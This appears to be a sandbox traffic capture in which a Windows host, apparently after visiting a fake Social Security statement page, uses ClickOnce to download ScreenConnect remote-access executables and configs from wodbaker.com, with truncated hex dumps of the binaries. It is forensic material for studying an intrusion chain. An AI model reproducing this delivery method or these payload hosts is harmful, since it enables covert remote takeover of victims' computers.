2024-11-22 22:00:34 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49773	35.190.80.1	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:34 UTC	495	OUT	POST /report/v4?s=1rkrcL5WY%2BvhcOWqv%2F0jaSAbpYrkQJkPcFJBYzVUGfxV7AXW4k0PDHW2WZDMJEbipvkmhxfz5w0rgW5fUerdFt3k7Vw8bIizdw%2BVGz8BFtlnwg14LjPKwTM3jWPFnMGWABOTkBS7wD8%2Fbg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 2387 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:34 UTC	2387	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 31 38 33 38 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 32 38 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 73 2e 66 72 61 75 64 67 75 61 72 64 2e 65 73 2f 53 53 41 5f 55 70 64 61 74 65 64 5f 53 74 61 74 65 6d 65 6e 74 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 32 31 38 2e 31 30 33 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 Data Ascii: [{"age":18380,"body":{"elapsed_time":3286,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://identitys.fraudguard.es/SSA_Updated_Statement/","sampling_fraction":1.0,"server_ip":"172.67.218.103","status_code":404,"type":"http.er
2024-11-22 22:00:34 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 22 Nov 2024 22:00:34 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49775	35.190.80.1	443	6608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:34 UTC	499	OUT	POST /report/v4?s=T84wszUi6UdFUqOb%2FqsHxaaCocd5JngdhnPerUR%2BHmIwL8iUiOqonpOl%2FJzMEgWCplBaxoo%2BxuomQi2bRNq7I9UQpNBE66Mb36kSUdVTNxl17N8YiphRADQ3%2BEEXa8BvAO5u%2Fs8syV3mNw%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1799 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-22 22:00:34 UTC	1799	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 37 37 36 35 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 33 30 35 35 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 34 2e 32 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 73 2e 66 72 Data Ascii: [{"age":27765,"body":{"elapsed_time":3055,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.94.21","status_code":404,"type":"http.error"},"type":"network-error","url":"https://identitys.fr
2024-11-22 22:00:35 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 22 Nov 2024 22:00:34 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.16	49777	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:37 UTC	120	OUT	GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip Connection: Keep-Alive
2024-11-22 22:00:38 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 95512 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:37 GMT Connection: close
2024-11-22 22:00:38 UTC	16150	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f8 10 28 a3 bc 71 46 f0 bc 71 46 f0 bc 71 46 f0 08 ed b7 f0 b6 71 46 f0 08 ed b5 f0 c6 71 46 f0 08 ed b4 f0 a4 71 46 f0 3c 0a 42 f1 ad 71 46 f0 3c 0a 45 f1 a8 71 46 f0 3c 0a 43 f1 96 71 46 f0 b5 09 d5 f0 b6 71 46 f0 a2 23 d5 f0 bf 71 46 f0 bc 71 47 f0 cc 71 46 f0 32 0a 4f f1 bd 71 46 f0 32 0a b9 f0 bd 71 46 f0 32 0a 44 f1 bd 71 46 f0 52 69 63 68 bc 71 46 f0 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(qFqFqFqFqFqF<BqF<EqF<CqFqF#qFqGqF2OqF2qF2DqFRichqF
2024-11-22 22:00:38 UTC	16384	IN	Data Raw: 68 7c dd 40 00 6a 02 e8 85 fe ff ff 83 c4 10 8b f0 ff 75 08 85 f6 74 0c 8b ce ff 15 88 d1 40 00 ff d6 eb 06 ff 15 e4 d0 40 00 5e 5d c3 55 8b ec 56 68 90 dd 40 00 68 88 dd 40 00 68 90 dd 40 00 6a 03 e8 4a fe ff ff 83 c4 10 8b f0 ff 75 0c ff 75 08 85 f6 74 0c 8b ce ff 15 88 d1 40 00 ff d6 eb 06 ff 15 e8 d0 40 00 5e 5d c3 55 8b ec 56 68 a4 dd 40 00 68 9c dd 40 00 68 a4 dd 40 00 6a 04 e8 0c fe ff ff 8b f0 83 c4 10 85 f6 74 15 ff 75 10 8b ce ff 75 0c ff 75 08 ff 15 88 d1 40 00 ff d6 eb 0c ff 75 0c ff 75 08 ff 15 60 d0 40 00 5e 5d c3 56 e8 56 ed ff ff 8b 70 04 85 f6 74 0a 8b ce ff 15 88 d1 40 00 ff d6 e8 de 15 00 00 cc 55 8b ec 8b 45 10 8b 4d 08 81 78 04 80 00 00 00 7f 06 0f be 41 08 5d c3 8b 41 08 5d c3 55 8b ec 8b 45 08 8b 4d 10 89 48 08 5d c3 53 51 bb 30 40 Data Ascii: h\|@jut@@^]UVh@h@h@jJuut@@^]UVh@h@h@jtuuu@uu`@^]VVpt@UEMxA]A]UEMH]SQ0@
2024-11-22 22:00:38 UTC	16384	IN	Data Raw: 85 c9 74 03 f0 ff 01 8b 88 84 00 00 00 85 c9 74 03 f0 ff 01 8b 88 80 00 00 00 85 c9 74 03 f0 ff 01 8b 88 8c 00 00 00 85 c9 74 03 f0 ff 01 56 6a 06 8d 48 28 5e 81 79 f8 38 46 41 00 74 09 8b 11 85 d2 74 03 f0 ff 02 83 79 f4 00 74 0a 8b 51 fc 85 d2 74 03 f0 ff 02 83 c1 10 83 ee 01 75 d6 ff b0 9c 00 00 00 e8 4e 01 00 00 59 5e 5d c3 8b ff 55 8b ec 51 53 56 8b 75 08 57 8b 86 88 00 00 00 85 c0 74 6c 3d 48 46 41 00 74 65 8b 46 7c 85 c0 74 5e 83 38 00 75 59 8b 86 84 00 00 00 85 c0 74 18 83 38 00 75 13 50 e8 30 d9 ff ff ff b6 88 00 00 00 e8 28 fb ff ff 59 59 8b 86 80 00 00 00 85 c0 74 18 83 38 00 75 13 50 e8 0e d9 ff ff ff b6 88 00 00 00 e8 04 fc ff ff 59 59 ff 76 7c e8 f9 d8 ff ff ff b6 88 00 00 00 e8 ee d8 ff ff 59 59 8b 86 8c 00 00 00 85 c0 74 45 83 38 00 75 40 Data Ascii: ttttVjH(^y8FAttytQtuNY^]UQSVuWtl=HFAteF\|t^8uYt8uP0(YYt8uPYYv\|YYtE8u@
2024-11-22 22:00:38 UTC	16384	IN	Data Raw: 59 06 83 c0 18 03 c1 85 db 74 1b 8b 7d 0c 8b 70 0c 3b fe 72 09 8b 48 08 03 ce 3b f9 72 0a 42 83 c0 28 3b d3 72 e8 33 c0 5f 5e 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a fe 68 20 2e 41 00 68 80 36 40 00 64 a1 00 00 00 00 50 83 ec 08 53 56 57 a1 04 40 41 00 31 45 f8 33 c5 50 8d 45 f0 64 a3 00 00 00 00 89 65 e8 c7 45 fc 00 00 00 00 68 00 00 40 00 e8 7c 00 00 00 83 c4 04 85 c0 74 54 8b 45 08 2d 00 00 40 00 50 68 00 00 40 00 e8 52 ff ff ff 83 c4 08 85 c0 74 3a 8b 40 24 c1 e8 1f f7 d0 83 e0 01 c7 45 fc fe ff ff ff 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 8b 45 ec 8b 00 33 c9 81 38 05 00 00 c0 0f 94 c1 8b c1 c3 8b 65 e8 c7 45 fc fe ff ff ff 33 c0 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc 55 8b ec 8b 45 Data Ascii: Yt}p;rH;rB(;r3_^[]Ujh .Ah6@dPSVW@A1E3PEdeEh@\|tTE-@Ph@Rt:@$EMdY_^[]E38eE3MdY_^[]UE
2024-11-22 22:00:38 UTC	16384	IN	Data Raw: 67 00 62 00 00 00 64 00 61 00 2d 00 64 00 6b 00 00 00 64 00 65 00 2d 00 61 00 74 00 00 00 64 00 65 00 2d 00 63 00 68 00 00 00 64 00 65 00 2d 00 64 00 65 00 00 00 64 00 65 00 2d 00 6c 00 69 00 00 00 64 00 65 00 2d 00 6c 00 75 00 00 00 64 00 69 00 76 00 2d 00 6d 00 76 00 00 00 00 00 65 00 6c 00 2d 00 67 00 72 00 00 00 65 00 6e 00 2d 00 61 00 75 00 00 00 65 00 6e 00 2d 00 62 00 7a 00 00 00 65 00 6e 00 2d 00 63 00 61 00 00 00 65 00 6e 00 2d 00 63 00 62 00 00 00 65 00 6e 00 2d 00 67 00 62 00 00 00 65 00 6e 00 2d 00 69 00 65 00 00 00 65 00 6e 00 2d 00 6a 00 6d 00 00 00 65 00 6e 00 2d 00 6e 00 7a 00 00 00 65 00 6e 00 2d 00 70 00 68 00 00 00 65 00 6e 00 2d 00 74 00 74 00 00 00 65 00 6e 00 2d 00 75 00 73 00 00 00 65 00 6e 00 2d 00 7a 00 61 00 00 00 65 00 6e 00 2d Data Ascii: gbda-dkde-atde-chde-dede-lide-ludiv-mvel-gren-auen-bzen-caen-cben-gben-ieen-jmen-nzen-phen-tten-usen-zaen-
2024-11-22 22:00:38 UTC	13826	IN	Data Raw: a0 32 b6 32 cc 32 e3 32 ea 32 f6 32 09 33 0e 33 1a 33 1f 33 30 33 9a 33 a1 33 b3 33 bc 33 04 34 16 34 1e 34 28 34 31 34 42 34 54 34 6f 34 af 34 c1 34 c7 34 db 34 2f 35 39 35 3f 35 45 35 b0 35 b9 35 f2 35 fd 35 f2 37 25 38 2a 38 50 39 68 39 95 39 b0 39 c0 39 c5 39 cf 39 d4 39 df 39 ea 39 fe 39 4f 3a f6 3a 17 3b 70 3b 7b 3b ca 3b e2 3b 2c 3c c2 3c d9 3c 57 3d 9b 3d ad 3d e3 3d e8 3d f5 3d 01 3e 17 3e 2a 3e 5d 3e 6c 3e 71 3e 82 3e 88 3e 93 3e 9b 3e a6 3e ac 3e b7 3e bd 3e cb 3e d4 3e d9 3e e6 3e eb 3e f8 3e 06 3f 0d 3f 15 3f 2e 3f 40 3f 4c 3f 54 3f 6c 3f 91 3f a2 3f ab 3f f2 3f 00 60 00 00 18 01 00 00 26 30 4d 30 67 30 be 30 cb 30 d6 30 e0 30 e6 30 fa 30 06 31 7f 31 88 31 b4 31 bd 31 c5 31 e2 31 07 32 19 32 35 32 59 32 74 32 7f 32 25 33 d8 33 e1 33 e9 33 04 Data Ascii: 2222223333033333444(414B4T4o44444/595?5E555557%88P9h9999999999O::;p;{;;;,<<<W======>>>]>l>q>>>>>>>>>>>>>>>???.?@?L?T?l?????`&0M0g000000011111112252Y2t22%3333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.16	49778	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:39 UTC	104	OUT	GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:40 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 61208 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:40 GMT Connection: close
2024-11-22 22:00:40 UTC	16150	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 63 2b 80 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 ba 00 00 00 0a 00 00 00 00 00 00 06 d8 00 00 00 20 00 00 00 e0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00 00 02 00 00 b8 72 01 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc+"0 @ r@
2024-11-22 22:00:40 UTC	16384	IN	Data Raw: 16 00 7a 16 7f 0e 16 00 58 0d 87 0e 36 00 6d 08 8f 0e 16 00 01 00 93 0e 06 00 de 10 22 0a 06 00 60 10 22 0a 06 00 42 26 7b 0e 06 00 e9 1d 68 0e 06 00 31 0f 46 00 06 00 f3 1a 9d 0e 06 00 53 1f a1 0e 06 00 79 27 a6 0e 06 00 84 18 22 0a 36 00 6d 08 aa 0e 16 00 9b 00 af 0e 16 00 b4 00 af 0e 16 00 29 03 af 0e 36 00 6d 08 b9 0e 16 00 37 01 af 0e 06 00 bf 1c be 0e 16 00 a8 1a c3 0e 36 00 6d 08 d0 0e 16 00 25 00 d5 0e 16 00 36 19 87 0e 36 00 6d 08 e7 0e 16 00 ff 07 ec 0e 16 00 36 08 f7 0e 06 00 0f 2f 01 0f 06 00 51 20 57 0e 06 00 c6 19 06 0f 06 00 d8 19 06 0f 06 00 70 19 0b 0f 16 00 a8 1a c3 0e 36 00 6d 08 10 0f 16 00 e7 00 15 0f 16 00 46 03 1e 0f 16 00 d4 05 29 0f 16 00 c1 06 34 0f 16 00 6b 07 34 0f 16 00 73 03 49 0f 16 00 83 01 54 0f 16 00 d5 03 5f 0f 36 00 6d Data Ascii: zX6m"`"B&{h1FSy'"6m)6m76m%66m6/Q Wp6mF)4k4sIT_6m
2024-11-22 22:00:40 UTC	16384	IN	Data Raw: 61 72 63 68 42 6f 78 49 6e 70 75 74 4c 65 6e 67 74 68 54 68 72 65 73 68 6f 6c 64 4c 61 62 65 6c 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 61 64 64 5f 4d 6f 75 73 65 57 68 65 65 6c 00 50 6f 70 75 6c 61 74 65 50 61 6e 65 6c 00 65 6d 70 74 79 52 65 73 75 6c 74 73 50 61 6e 65 6c 00 72 65 73 75 6c 74 73 50 61 6e 65 6c 00 70 61 6e 65 6c 00 53 65 6c 65 63 74 41 6c 6c 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 57 69 6e 64 6f 77 73 42 61 63 6b 73 74 61 67 65 53 68 65 6c 6c 00 73 65 74 5f 41 75 74 6f 53 63 72 6f 6c 6c 00 41 73 73 65 72 74 4e 6f 6e 4e 75 6c 6c 00 67 65 74 5f 43 6f 6e 74 72 6f 6c 00 53 63 72 6f 6c 6c 61 62 6c 65 43 6f 6e 74 72 6f 6c 00 63 6f 6e 74 72 6f 6c 00 67 65 74 5f 4c 50 61 72 61 6d 00 67 65 74 5f 57 50 61 72 61 6d Data Ascii: archBoxInputLengthThresholdLabelSystem.ComponentModeladd_MouseWheelPopulatePanelemptyResultsPanelresultsPanelpanelSelectAllScreenConnect.WindowsBackstageShellset_AutoScrollAssertNonNullget_ControlScrollableControlcontrolget_LParamget_WParam
2024-11-22 22:00:40 UTC	12290	IN	Data Raw: 00 00 53 00 63 00 72 00 65 00 65 00 6e 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 2e 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 42 00 61 00 63 00 6b 00 73 00 74 00 61 00 67 00 65 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 00 00 3c 00 0e 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 00 53 00 63 00 72 00 65 00 65 00 6e 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 00 00 3c 00 0c 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 32 00 34 00 2e 00 33 00 2e 00 37 00 2e 00 39 00 30 00 36 00 37 00 00 00 40 00 0c 00 01 00 41 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 00 00 32 00 34 00 2e 00 33 00 2e 00 37 00 2e Data Ascii: ScreenConnect.WindowsBackstageShell.exe<ProductNameScreenConnect<ProductVersion24.3.7.9067@Assembly Version24.3.7.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49779	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:42 UTC	108	OUT	GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:42 UTC	232	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:42 GMT Connection: close
2024-11-22 22:00:42 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49780	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:44 UTC	103	OUT	GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:44 UTC	232	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:44 GMT Connection: close
2024-11-22 22:00:44 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49781	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:45 UTC	111	OUT	GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:46 UTC	232	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 266 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:46 GMT Connection: close
2024-11-22 22:00:46 UTC	266	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3e 0d 0a 20 20 3c 73 74 61 72 74 75 70 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 34 2e 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 73 75 70 70 6f 72 74 65 64 52 75 6e 74 69 6d 65 20 76 65 72 73 69 6f 6e 3d 22 76 32 2e 30 2e 35 30 37 32 37 22 20 2f 3e 0d 0a 20 20 3c 2f 73 74 61 72 74 75 70 3e 0d 0a 20 20 3c 72 75 6e 74 69 6d 65 3e 0d 0a 20 20 20 20 3c 67 65 6e 65 72 61 74 65 50 75 62 6c 69 73 68 65 72 45 76 69 64 65 6e 63 65 20 65 6e 61 62 6c 65 64 3d 22 66 61 6c 73 65 22 20 2f 3e 0d 0a 20 20 3c 2f 72 75 6e 74 69 6d 65 3e 0d 0a 3c 2f 63 6f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><configuration> <startup> <supportedRuntime version="v4.0" /> <supportedRuntime version="v2.0.50727" /> </startup> <runtime> <generatePublisherEvidence enabled="false" /> </runtime></con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49782	217.77.14.110	443	1228	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:00:47 UTC	101	OUT	GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1 Host: wodbaker.com Accept-Encoding: gzip
2024-11-22 22:00:48 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 81688 Content-Type: text/html Server: Microsoft-HTTPAPI/2.0 X-Robots-Tag: noindex X-Content-Type-Options: nosniff Date: Fri, 22 Nov 2024 22:00:48 GMT Connection: close
